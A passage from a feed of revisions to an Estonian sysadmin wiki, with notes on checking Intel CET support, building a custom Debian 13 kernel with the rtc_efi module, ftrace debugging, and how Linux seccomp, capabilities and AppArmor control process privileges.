Setting up libio-html-perl (1.004-3) ...&lt;br /&gt;
Setting up libss2:amd64 (1.47.0-2) ...&lt;br /&gt;
Setting up libpod-parser-perl (1.65-1) ...&lt;br /&gt;
Setting up autopoint (0.21-12) ...&lt;br /&gt;
Setting up libb-hooks-op-check-perl:amd64 (0.22-2+b1) ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel jätkub apt-get dist-upgrade osakonnaga suhtlemine tavalisel viisil.&lt;br /&gt;
&lt;br /&gt;
===CET - Intel Control-flow Enforcement Technology===&lt;br /&gt;
&lt;br /&gt;
Protsessori tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# lscpu | grep -i shstk&lt;br /&gt;
Flags:                                fpu vme de pse ... user_shstk ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nt https://www.intel.com/content/www/us/en/products/sku/232391/intel-xeon-gold-6448h-processor-60m-cache-2-40-ghz/specifications.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Intel® Control-Flow Enforcement Technology&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kerneli tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# grep SHADOW /boot/config-6.8.4-3-pve &lt;br /&gt;
CONFIG_X86_USER_SHADOW_STACK=y&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
programmi tugi, 'Properties: x86 feature: IBT, SHSTK'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@trainer-01-rws:~# readelf -n /usr/sbin/sshd &lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.property&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000020	NT_GNU_PROPERTY_TYPE_0&lt;br /&gt;
      Properties: x86 feature: IBT, SHSTK&lt;br /&gt;
	x86 ISA needed: x86-64-baseline&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.build-id&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)&lt;br /&gt;
    Build ID: 652d8ffe728a6800d02ee146e82201f0080069de&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.ABI-tag&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käesolev olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# cat /proc/2266/status | grep -i thread_fe&lt;br /&gt;
x86_Thread_features:	&lt;br /&gt;
x86_Thread_features_locked:&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Control-flow_integrity&lt;br /&gt;
* https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts&lt;br /&gt;
&lt;br /&gt;
===pigz abil pakkimine===&lt;br /&gt;
&lt;br /&gt;
 # time tar -I pigz -cf ../20250507/rakendus-14-main_ee-20250507.tgz main_ee&lt;br /&gt;
&lt;br /&gt;
===Debian v. 13 Trixie kerneli kompileerimine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* tegevused toimuvad pve v. 8.4 virtuaalses arvutis, uefi jne&lt;br /&gt;
* kompileerimiseks on vajalik ca 40 G ruumi failisüsteemis&lt;br /&gt;
* arvutil on 32 cpu ja 24g mälu&lt;br /&gt;
* kompileerimine võtab aega ca 10 minutit&lt;br /&gt;
&lt;br /&gt;
Nt eesmärgiga lisada süsteemi rtc_efi tuuma moodul ning käivitamisel lülitada välja rtc_cmos moodul, tavaliselt paistab rtc nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# dmesg | grep rtc&lt;br /&gt;
[    5.472677] rtc_cmos 00:01: RTC can wake from S4&lt;br /&gt;
[    5.477720] rtc_cmos 00:01: registered as rtc0&lt;br /&gt;
[    5.482245] rtc_cmos 00:01: setting system clock to 2025-07-05T17:49:27 UTC (1751737767)&lt;br /&gt;
[    5.490391] rtc_cmos 00:01: alarms up to one month, y3k, 114 bytes nvram&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompileerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install build-essential libncurses-dev&lt;br /&gt;
# apt-get build-dep linux&lt;br /&gt;
# linux-source-6.12&lt;br /&gt;
&lt;br /&gt;
# su - imre&lt;br /&gt;
$ mkdir 20251001&lt;br /&gt;
$ cd 20251001&lt;br /&gt;
$ tar xaf /usr/src/linux-source-6.12.tar.xz&lt;br /&gt;
$ cd linux-source-6.12&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kostümiseerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ cp /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe drivers/rtc/Kconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001-2/linux-source-6.12$ diff /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
5c5&lt;br /&gt;
&amp;lt; CONFIG_CC_VERSION_TEXT=&amp;quot;x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_CC_VERSION_TEXT=&amp;quot;gcc (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
36a37&lt;br /&gt;
&amp;gt; CONFIG_BUILD_SALT=&amp;quot;&amp;quot;&lt;br /&gt;
999a1001&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_ALL=y&lt;br /&gt;
8486c8488&lt;br /&gt;
&amp;lt; CONFIG_RTC_DRV_CMOS=y&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_CMOS=m&lt;br /&gt;
8492a8495&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_EFI=m&lt;br /&gt;
10868a10872&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_KEY=&amp;quot;certs/signing_key.pem&amp;quot;&lt;br /&gt;
10870a10875&lt;br /&gt;
&amp;gt; CONFIG_SYSTEM_TRUSTED_KEYS=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~$ diff orig/linux-source-6.12/drivers/rtc/Kconfig 20251001/linux-source-6.12/drivers/rtc/Kconfig&lt;br /&gt;
1180c1180&lt;br /&gt;
&amp;lt; 	depends on EFI &amp;amp;&amp;amp; !X86&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; 	depends on EFI&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make -j 32 bindeb-pkg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# ls -ld /home/imre/20251001/linux-*&lt;br /&gt;
-rw-r--r--  1 imre imre   9175852 Oct  2 00:07 /home/imre/20251001/linux-headers-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 109643260 Oct  2 00:07 /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 999103852 Oct  2 00:08 /home/imre/20251001/linux-image-6.12.48-dbg_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre   1395812 Oct  2 00:06 /home/imre/20251001/linux-libc-dev_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-rw-r--  1 imre imre      6109 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.buildinfo&lt;br /&gt;
-rw-rw-r--  1 imre imre      2260 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.changes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# dpkg -i /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# find /lib/modules/6.12.48 -name rtc-efi\* -ls&lt;br /&gt;
   559702      8 -rw-r--r--   1 root     root         4708 Oct  2 00:05 /lib/modules/6.12.48/kernel/drivers/rtc/rtc-efi.ko.xz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine, nt grub bootloaderisse sekkumisel näidata&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
linux /boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
initrd /boot/initrd.img-6.12.48&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# uname -a&lt;br /&gt;
Linux kernel-deb-13-01 6.12.48 #2 SMP PREEMPT_DYNAMIC Thu Oct  2 00:05:59 EEST 2025 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# dmesg -T | grep rtc&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: registered as rtc0&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: setting system clock to 2025-10-01T21:11:09 UTC (1759353069)&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# hwclock --show&lt;br /&gt;
2025-10-02 01:35:16.360299+03:00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* 'Building a custom kernel from Debian kernel source' - https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html#s-common-building&lt;br /&gt;
&lt;br /&gt;
===Kerneli siseste funktsioonide debugimine===&lt;br /&gt;
&lt;br /&gt;
Sedasi saab veenduda, et hwclock kasutab peale eelmises punktis tehtud muudatuse 'efi runtime services' osakonda (mitte klassikalist rfc_cmos osakonda)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat /sys/kernel/tracing/available_filter_functions | grep efi_ | grep time&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cd /sys/kernel/tracing&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; trace&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo nop &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo efi_read_time &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo function &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 1 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# hwclock --show &amp;amp; echo &amp;quot;before $! after&amp;quot;&lt;br /&gt;
[1] 1525&lt;br /&gt;
before 1525 after&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# 2025-10-02 03:05:13.888490+03:00&lt;br /&gt;
&lt;br /&gt;
[1]+  Done                    hwclock --show&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 0 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat trace | head -n 15&lt;br /&gt;
# tracer: function&lt;br /&gt;
#&lt;br /&gt;
# entries-in-buffer/entries-written: 1458/1458   #P:32&lt;br /&gt;
#&lt;br /&gt;
#                                _-----=&amp;gt; irqs-off/BH-disabled&lt;br /&gt;
#                               / _----=&amp;gt; need-resched&lt;br /&gt;
#                              | / _---=&amp;gt; hardirq/softirq&lt;br /&gt;
#                              || / _--=&amp;gt; preempt-depth&lt;br /&gt;
#                              ||| / _-=&amp;gt; migrate-disable&lt;br /&gt;
#                              |||| /     delay&lt;br /&gt;
#           TASK-PID     CPU#  |||||  TIMESTAMP  FUNCTION&lt;br /&gt;
#              | |         |   |||||     |         |&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012235: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012346: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012425: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hwclock käsk antakse ja küsitakse tema pid väärtust&lt;br /&gt;
* trace failis on fikseeritud pid mis oli seotud efi_read_time funktsiooni väljakutsumisega&lt;br /&gt;
&lt;br /&gt;
===netconsole===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* http://www.debian.org/security/&lt;br /&gt;
* http://www.debian-administration.org/&lt;br /&gt;
* http://wiki.debian.org/&lt;br /&gt;
* http://www.debian.org/distrib/packages&lt;br /&gt;
* http://debian.org/doc/maint-guide&lt;br /&gt;
* http://www.debianadmin.com/&lt;br /&gt;
* http://debian.catsanddogs.com/&lt;br /&gt;
* http://debconf9.debconf.org/ - sisaldab videosalvestusi Debiani arendajate esinemistest DebConfidel&lt;br /&gt;
* http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/lenny/current/&lt;br /&gt;
* http://debian-live.alioth.debian.org/&lt;br /&gt;
* http://www.emdebian.org/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3426</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3426"/>
		<updated>2026-05-03T22:44:04Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3425</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3425"/>
		<updated>2026-05-03T22:42:04Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
